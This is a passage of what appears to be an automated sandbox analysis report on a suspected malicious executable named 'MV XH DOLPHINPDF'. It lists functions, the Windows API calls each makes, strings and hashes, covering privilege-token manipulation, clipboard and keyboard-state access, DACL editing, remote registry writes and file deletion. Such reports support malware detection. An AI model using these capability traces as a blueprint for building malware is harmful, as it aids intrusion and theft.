API ID: Window$Thread$AttachForegroundInputVirtualkeybd_event$Process$CurrentFindIconicShow
String ID: Shell_TrayWnd
API String ID: 4125248594-2988720461
Opcode ID: 93d5bae7ec1396226914d84f899abb3d0af6baf4209c8a2cfffc94dc61727027
Instruction ID: 86db02ad8b341eeeaf830d7e9fbed5ec9292be0712cbb507f7c205f120081a3f
Opcode Fuzzy Hash: 93d5bae7ec1396226914d84f899abb3d0af6baf4209c8a2cfffc94dc61727027
Instruction Fuzzy Hash: 38319871A40318BFEB316F619C4AFBF7E6CEB44B50F11402AFA04E65D0D6B15D42ABA1

Function 000D8858 Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 224COMMON

Download Yara Rule

APIs

Part of subcall function 000D8CC3: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 000D8D0D
Part of subcall function 000D8CC3: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 000D8D3A
Part of subcall function 000D8CC3: GetLastError.KERNEL32 ref: 000D8D47

_memset.LIBCMT ref: 000D889B
DuplicateTokenEx.ADVAPI32(?,00000000,00000000,00000002,00000001,?,?,?,?,00000001,?,?), ref: 000D88ED
CloseHandle.KERNEL32(?), ref: 000D88FE
OpenWindowStationW.USER32(winsta0,00000000,00060000), ref: 000D8915
GetProcessWindowStation.USER32 ref: 000D892E
SetProcessWindowStation.USER32(00000000), ref: 000D8938
OpenDesktopW.USER32(default,00000000,00000000,00060081), ref: 000D8952

Part of subcall function 000D8713: AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,000D8851), ref: 000D8728
Part of subcall function 000D8713: CloseHandle.KERNEL32(?,?,000D8851), ref: 000D873A

Strings

, xrefs: 000D88AA
winsta0, xrefs: 000D8910
default, xrefs: 000D894D

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: StationTokenWindow$AdjustCloseHandleOpenPrivilegesProcess$DesktopDuplicateErrorLastLookupPrivilegeValue_memset
String ID: $default$winsta0
API String ID: 2063423040-1027155976
Opcode ID: e605ef6618b792280c3adb5fe804c34b9f70840a4127661f87ffa73cc802d0af
Instruction ID: 2379a129212f8920fb5f8563ca53cb603499f1e35f548fbab864cad3d286cfa7
Opcode Fuzzy Hash: e605ef6618b792280c3adb5fe804c34b9f70840a4127661f87ffa73cc802d0af
Instruction Fuzzy Hash: C5815C71900309AFEF21DFA8DC45AEE7BB8EF04304F08816AF910A6261DB718E55DB71

Function 000F425A Relevance: 30.2, APIs: 20, Instructions: 167clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32(0010F910), ref: 000F4284
IsClipboardFormatAvailable.USER32(0000000D), ref: 000F4292
GetClipboardData.USER32(0000000D), ref: 000F429A
CloseClipboard.USER32 ref: 000F42A6
GlobalLock.KERNEL32(00000000), ref: 000F42C2
CloseClipboard.USER32 ref: 000F42CC
GlobalUnlock.KERNEL32(00000000,00000000), ref: 000F42E1
IsClipboardFormatAvailable.USER32(00000001), ref: 000F42EE
GetClipboardData.USER32(00000001), ref: 000F42F6
GlobalLock.KERNEL32(00000000), ref: 000F4303
GlobalUnlock.KERNEL32(00000000,00000000,?), ref: 000F4337
CloseClipboard.USER32 ref: 000F4447

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: Clipboard$Global$Close$AvailableDataFormatLockUnlock$Open
String ID:
API String ID: 3222323430-0
Opcode ID: c31f9d535a29365581e8ab087a85a7be07649f616aad99454b4babbe3ed79697
Instruction ID: 21ea86afa1ad205fcb6a794eaaee07f8fe309594e40a6b4b511ace375d5ec3ba
Opcode Fuzzy Hash: c31f9d535a29365581e8ab087a85a7be07649f616aad99454b4babbe3ed79697
Instruction Fuzzy Hash: 4151A135204305ABD320FF64DC86FBF77A8AF84B00F10452DFA95D29A2DBB0D9459B62

Function 000EC9C7 Relevance: 28.3, APIs: 13, Strings: 3, Instructions: 280timefileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 000EC9F8
FindClose.KERNEL32(00000000), ref: 000ECA4C
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 000ECA71
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 000ECA88
FileTimeToSystemTime.KERNEL32(?,?), ref: 000ECAAF
__swprintf.LIBCMT ref: 000ECAFB
__swprintf.LIBCMT ref: 000ECB3E

Part of subcall function 00087F41: _memmove.LIBCMT ref: 00087F82

__swprintf.LIBCMT ref: 000ECB92

Part of subcall function 000A38D8: __woutput_l.LIBCMT ref: 000A3931

__swprintf.LIBCMT ref: 000ECBE0

Part of subcall function 000A38D8: __flsbuf.LIBCMT ref: 000A3953
Part of subcall function 000A38D8: __flsbuf.LIBCMT ref: 000A396B

__swprintf.LIBCMT ref: 000ECC2F
__swprintf.LIBCMT ref: 000ECC7E
__swprintf.LIBCMT ref: 000ECCCD

Strings

%02d, xrefs: 000ECB86, 000ECB90, 000ECBDE, 000ECC2D, 000ECC7C, 000ECCCB
%4d%02d%02d%02d%02d%02d, xrefs: 000ECAF5
%4d, xrefs: 000ECB38

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: __swprintf$FileTime$FindLocal__flsbuf$CloseFirstSystem__woutput_l_memmove
String ID: %02d$%4d$%4d%02d%02d%02d%02d%02d
API String ID: 3953360268-2428617273
Opcode ID: a65bb3a307724cf051eba5c639d2161e6ebf01d6e4bd72f7180acfc2c39f5af4
Instruction ID: 113a591f0b85ca1ea97e94ccecfa044860508496525069a0ea7a93c40ecaf3cb
Opcode Fuzzy Hash: a65bb3a307724cf051eba5c639d2161e6ebf01d6e4bd72f7180acfc2c39f5af4
Instruction Fuzzy Hash: BBA13CB1508344AFC714FBA4CC86DEFB7ECBF94704F440929B58692192EB35DA09CB62

Function 000EF200 Relevance: 28.1, APIs: 15, Strings: 1, Instructions: 119fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,75918FB0,?,00000000), ref: 000EF221
_wcscmp.LIBCMT ref: 000EF236
_wcscmp.LIBCMT ref: 000EF24D
GetFileAttributesW.KERNEL32(?), ref: 000EF25F
SetFileAttributesW.KERNEL32(?,?), ref: 000EF279
FindNextFileW.KERNEL32(00000000,?), ref: 000EF291
FindClose.KERNEL32(00000000), ref: 000EF29C
FindFirstFileW.KERNEL32(*.*,?), ref: 000EF2B8
_wcscmp.LIBCMT ref: 000EF2DF
_wcscmp.LIBCMT ref: 000EF2F6
SetCurrentDirectoryW.KERNEL32(?), ref: 000EF308
SetCurrentDirectoryW.KERNEL32(0013A5A0), ref: 000EF326
FindNextFileW.KERNEL32(00000000,00000010), ref: 000EF330
FindClose.KERNEL32(00000000), ref: 000EF33D
FindClose.KERNEL32(00000000), ref: 000EF34F

Strings

*.*, xrefs: 000EF2B3

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: Find$File$_wcscmp$Close$AttributesCurrentDirectoryFirstNext
String ID: *.*
API String ID: 1803514871-438819550
Opcode ID: 754dba542eddacee4454c0f3090de0002b531a810a3455f377c44d6c80bac2b5
Instruction ID: d246c3acd1acf64d5094b56399dd671e1d865ec3be3106cf1bcacdf0c2859050
Opcode Fuzzy Hash: 754dba542eddacee4454c0f3090de0002b531a810a3455f377c44d6c80bac2b5
Instruction Fuzzy Hash: 4F31E67650025A6EDB20DFB5DC59AEE73ECAF49360F100179F954E34A0EB70DB86CA50

Function 00100AE2 Relevance: 26.7, APIs: 9, Strings: 6, Instructions: 477registryCOMMON

Download Yara Rule

APIs

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00100BDE
RegCreateKeyExW.ADVAPI32(?,?,00000000,0010F910,00000000,?,00000000,?,?), ref: 00100C4C
RegCloseKey.ADVAPI32(00000000,00000001,00000000,00000000,00000000), ref: 00100C94
RegSetValueExW.ADVAPI32(00000001,?,00000000,00000002,?), ref: 00100D1D
RegCloseKey.ADVAPI32(?), ref: 0010103D
RegCloseKey.ADVAPI32(00000000), ref: 0010104A

Strings

REG_DWORD, xrefs: 00100F0E
REG_BINARY, xrefs: 00100FD8
REG_QWORD, xrefs: 00100F8B
REG_SZ, xrefs: 00100D5B
REG_EXPAND_SZ, xrefs: 00100CBA
REG_MULTI_SZ, xrefs: 00100E05

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: Close$ConnectCreateRegistryValue
String ID: REG_BINARY$REG_DWORD$REG_EXPAND_SZ$REG_MULTI_SZ$REG_QWORD$REG_SZ
API String ID: 536824911-966354055
Opcode ID: 49975c7f8bd39103cae2001633453554b449bd38c358e6968ede72d423c67977
Instruction ID: 6c829324aa87af98e4695e3ec23e9a00e4b27ba4ae98d25295d4edb805863db3
Opcode Fuzzy Hash: 49975c7f8bd39103cae2001633453554b449bd38c358e6968ede72d423c67977
Instruction Fuzzy Hash: FB0239752046119FCB14EF18C891A6ABBE5FF89714F04885DF8CA9B6A2CB74ED41CB81

Function 000EF35D Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 112fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,75918FB0,?,00000000), ref: 000EF37E
_wcscmp.LIBCMT ref: 000EF393
_wcscmp.LIBCMT ref: 000EF3AA

Part of subcall function 000E45C1: CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000003,02000080,00000000), ref: 000E45DC

FindNextFileW.KERNEL32(00000000,?), ref: 000EF3D9
FindClose.KERNEL32(00000000), ref: 000EF3E4
FindFirstFileW.KERNEL32(*.*,?), ref: 000EF400
_wcscmp.LIBCMT ref: 000EF427
_wcscmp.LIBCMT ref: 000EF43E
SetCurrentDirectoryW.KERNEL32(?), ref: 000EF450
SetCurrentDirectoryW.KERNEL32(0013A5A0), ref: 000EF46E
FindNextFileW.KERNEL32(00000000,00000010), ref: 000EF478
FindClose.KERNEL32(00000000), ref: 000EF485
FindClose.KERNEL32(00000000), ref: 000EF497

Strings

*.*, xrefs: 000EF3FB

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: Find$File$_wcscmp$Close$CurrentDirectoryFirstNext$Create
String ID: *.*
API String ID: 1824444939-438819550
Opcode ID: 52bd589af715e2b401459b19a4f5cd4eb665486e404aab2d416bdea0239d5bbc
Instruction ID: e03b04cca5597454df53884de1713d3c55969d2faa036ef8e5eda2d58886c969
Opcode Fuzzy Hash: 52bd589af715e2b401459b19a4f5cd4eb665486e404aab2d416bdea0239d5bbc
Instruction Fuzzy Hash: 6E31C77250125A6FDB20AFB5EC89AEE77AC9F49360F100179F850B34E1D770DA85CA54

Function 000D81F7 Relevance: 21.2, APIs: 14, Instructions: 179memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 000D874A: GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 000D8766
Part of subcall function 000D874A: GetLastError.KERNEL32(?,000D822A,?,?,?), ref: 000D8770
Part of subcall function 000D874A: GetProcessHeap.KERNEL32(00000008,?,?,000D822A,?,?,?), ref: 000D877F
Part of subcall function 000D874A: HeapAlloc.KERNEL32(00000000,?,000D822A,?,?,?), ref: 000D8786
Part of subcall function 000D874A: GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 000D879D

Part of subcall function 000D87E7: GetProcessHeap.KERNEL32(00000008,000D8240,00000000,00000000,?,000D8240,?), ref: 000D87F3
Part of subcall function 000D87E7: HeapAlloc.KERNEL32(00000000,?,000D8240,?), ref: 000D87FA
Part of subcall function 000D87E7: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,000D8240,?), ref: 000D880B

GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 000D825B
_memset.LIBCMT ref: 000D8270
GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 000D828F
GetLengthSid.ADVAPI32(?), ref: 000D82A0
GetAce.ADVAPI32(?,00000000,?), ref: 000D82DD
AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 000D82F9
GetLengthSid.ADVAPI32(?), ref: 000D8316
GetProcessHeap.KERNEL32(00000008,-00000008), ref: 000D8325
HeapAlloc.KERNEL32(00000000), ref: 000D832C
GetLengthSid.ADVAPI32(?,00000008,?), ref: 000D834D
CopySid.ADVAPI32(00000000), ref: 000D8354
AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 000D8385
SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 000D83AB
SetUserObjectSecurity.USER32(?,00000004,?), ref: 000D83BF

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: HeapSecurity$AllocDescriptorLengthObjectProcessUser$Dacl$CopyErrorInformationInitializeLast_memset
String ID:
API String ID: 3996160137-0
Opcode ID: 183d6756140cea5c24e94898d1bcc32811c29c783e739ae546d6630423781206
Instruction ID: b6c87d15e309ff53ea82b141cbbff70983a23295093fd686e7696d533b43ed30
Opcode Fuzzy Hash: 183d6756140cea5c24e94898d1bcc32811c29c783e739ae546d6630423781206
Instruction Fuzzy Hash: 36616871900209EFDF10DFA4DC85AEEBBB9FF04700F14816AF815A7291DB719A15CB60

Function 00096843 Relevance: 19.6, Strings: 15, Instructions: 883COMMON

Download Yara Rule

Strings

Oa, xrefs: 000D1888, 000D192F, 000D19DD
NO_START_OPT), xrefs: 000D1588
LF), xrefs: 000D16DD
UTF), xrefs: 000D1533
LIMIT_MATCH=, xrefs: 000D15A9
LIMIT_RECURSION=, xrefs: 000D1635
CRLF), xrefs: 000D16FA
UTF16), xrefs: 000D1508
CR), xrefs: 000D16C0
BSR_UNICODE), xrefs: 000D1771
ANY), xrefs: 000D1717
UCP), xrefs: 000D1546
ANYCRLF), xrefs: 000D1734
NO_AUTO_POSSESS), xrefs: 000D1567
BSR_ANYCRLF), xrefs: 000D1757

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID:
String ID: ANY)$ANYCRLF)$BSR_ANYCRLF)$BSR_UNICODE)$CR)$CRLF)$LF)$LIMIT_MATCH=$LIMIT_RECURSION=$NO_AUTO_POSSESS)$NO_START_OPT)$Oa$UCP)$UTF)$UTF16)
API String ID: 0-1762387905
Opcode ID: 95110b15b58d353fc369fa6cdf7573172985ccba4e2bcd08e40d94dfedd49422
Instruction ID: 875a1d1cf60f7ca78af0e0dfbe9c972e6c97e35e015dc7e03778ed22e74b07ae
Opcode Fuzzy Hash: 95110b15b58d353fc369fa6cdf7573172985ccba4e2bcd08e40d94dfedd49422
Instruction Fuzzy Hash: CE726F71E043199BDF24CF58D8907EDB7F5EF48310F14816AE859AB390EB719A81DBA0

Function 00100665 Relevance: 16.9, APIs: 11, Instructions: 397registryCOMMON

Download Yara Rule

APIs

Part of subcall function 001010A5: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00100038,?,?), ref: 001010BC

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00100737

Part of subcall function 00089997: __itow.LIBCMT ref: 000899C2
Part of subcall function 00089997: __swprintf.LIBCMT ref: 00089A0C

RegQueryValueExW.ADVAPI32(?,?,00000000,?,00000000,?), ref: 001007D6
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,00000008), ref: 0010086E
RegCloseKey.ADVAPI32(000000FE,000000FE,00000000,?,00000000), ref: 00100AAD
RegCloseKey.ADVAPI32(00000000), ref: 00100ABA

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: CloseQueryValue$BuffCharConnectRegistryUpper__itow__swprintf
String ID:
API String ID: 1240663315-0
Opcode ID: 505cbe6d81e48d422b91c71fd552064cb7650dc6d311cd33fb71c7cb20e03a39
Instruction ID: d53cf5a46feb9ffb73a7dbdbc20feffd5d7f7a87c442b05974ddbd210cc20828
Opcode Fuzzy Hash: 505cbe6d81e48d422b91c71fd552064cb7650dc6d311cd33fb71c7cb20e03a39
Instruction Fuzzy Hash: 88E14D31204310AFCB15EF28C891E6ABBE5FF89714F04856DF48ADB2A2DB70E941CB51

Function 000E0219 Relevance: 16.6, APIs: 11, Instructions: 120keyboardCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?), ref: 000E0241
GetAsyncKeyState.USER32(000000A0), ref: 000E02C2
GetKeyState.USER32(000000A0), ref: 000E02DD
GetAsyncKeyState.USER32(000000A1), ref: 000E02F7
GetKeyState.USER32(000000A1), ref: 000E030C
GetAsyncKeyState.USER32(00000011), ref: 000E0324
GetKeyState.USER32(00000011), ref: 000E0336
GetAsyncKeyState.USER32(00000012), ref: 000E034E
GetKeyState.USER32(00000012), ref: 000E0360
GetAsyncKeyState.USER32(0000005B), ref: 000E0378
GetKeyState.USER32(0000005B), ref: 000E038A

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: State$Async$Keyboard
String ID:
API String ID: 541375521-0
Opcode ID: d787c8445072942bde4a20f5b1eff03be12f6ea8360dc9ab034190cadd89a15f
Instruction ID: 1d34e1958677639b03d353ffaf53381b049ad6711b797d450b8ccb03f5be27cd
Opcode Fuzzy Hash: d787c8445072942bde4a20f5b1eff03be12f6ea8360dc9ab034190cadd89a15f
Instruction Fuzzy Hash: FA41DC346047CA6EFFB18B7598083B5BEE46F11340F48809ED6C6665C2E7E55AC887A2

Function 000F4458 Relevance: 15.1, APIs: 10, Instructions: 83clipboardmemoryCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 000F447F
EmptyClipboard.USER32 ref: 000F4485
GlobalAlloc.KERNEL32(00000002,?), ref: 000F449A
CloseClipboard.USER32 ref: 000F4539

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: Clipboard$AllocCloseEmptyGlobalOpen
String ID:
API String ID: 1737998785-0
Opcode ID: 5eabc85539242998bb8a01cd5182ba6e0d4551c2d6ae59d5fff66746c1053f19
Instruction ID: 6b07aeb79fc4143e90eb3cc98284089f798a76c0e637b552a9ef99bc7c071cd6
Opcode Fuzzy Hash: 5eabc85539242998bb8a01cd5182ba6e0d4551c2d6ae59d5fff66746c1053f19
Instruction Fuzzy Hash: 092194356002149FDB20AF54EC4AB7E77A8EF44710F14802AF986D7AB2CB71EC41DB95

Function 000E3A2B Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 167fileCOMMON

Download Yara Rule

APIs

Part of subcall function 000848AE: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,000848A1,?,?,000837C0,?), ref: 000848CE

Part of subcall function 000E4CD3: GetFileAttributesW.KERNEL32(?,000E3947), ref: 000E4CD4

FindFirstFileW.KERNEL32(?,?), ref: 000E3ADF
DeleteFileW.KERNEL32(?,?,00000000,?,?,?,?), ref: 000E3B87
MoveFileW.KERNEL32(?,?), ref: 000E3B9A
DeleteFileW.KERNEL32(?,?,?,?,?), ref: 000E3BB7
FindNextFileW.KERNEL32(00000000,00000010), ref: 000E3BD9
FindClose.KERNEL32(00000000,?,?,?,?), ref: 000E3BF5

Strings

\*.*, xrefs: 000E3A8A, 000E3A93, 000E3AA8

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: File$Find$Delete$AttributesCloseFirstFullMoveNameNextPath
String ID: \*.*
API String ID: 4002782344-1173974218
Opcode ID: 3cb994c90f62f0cba52594e30c8e989469651045a83f800c6525f31344edceea
Instruction ID: a7ca582d7a6fea2173d260f790e89dff8557143ad1b10af341d50d384aa8fe3a
Opcode Fuzzy Hash: 3cb994c90f62f0cba52594e30c8e989469651045a83f800c6525f31344edceea
Instruction Fuzzy Hash: CF5161318051899ECF15FBA1CD969EDBBB9BF14300F6841A9E48677092DF31AF09CB61

Function 00094140 Relevance: 13.4, APIs: 1, Strings: 6, Instructions: 1132COMMON

Download Yara Rule

Strings

VUUU, xrefs: 000C7B0C
Oa, xrefs: 00094984, 000C8173
VUUU, xrefs: 000944DB
VUUU, xrefs: 00094520
VUUU, xrefs: 000944ED
ERCP, xrefs: 0009421F

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID:
String ID: ERCP$Oa$VUUU$VUUU$VUUU$VUUU
API String ID: 0-2178672785
Opcode ID: ebc7eee272d1c6762bcc39b75d14db7a93b079174807d1fb10c98868ee8f1562
Instruction ID: d40ccbd691946f9137835cf243d4ba7b7e36ab0056cefe9f0dd83271df66df88
Opcode Fuzzy Hash: ebc7eee272d1c6762bcc39b75d14db7a93b079174807d1fb10c98868ee8f1562
Instruction Fuzzy Hash: 88A26E70E0421ACBDF74CF58C990BADB7F1BB54314F2481AAD85AA7280D7709E86EF51

Function 000EF65E Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 120filesleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00087F41: _memmove.LIBCMT ref: 00087F82

FindFirstFileW.KERNEL32(?,?,*.*,?,?,00000000,00000000), ref: 000EF6AB
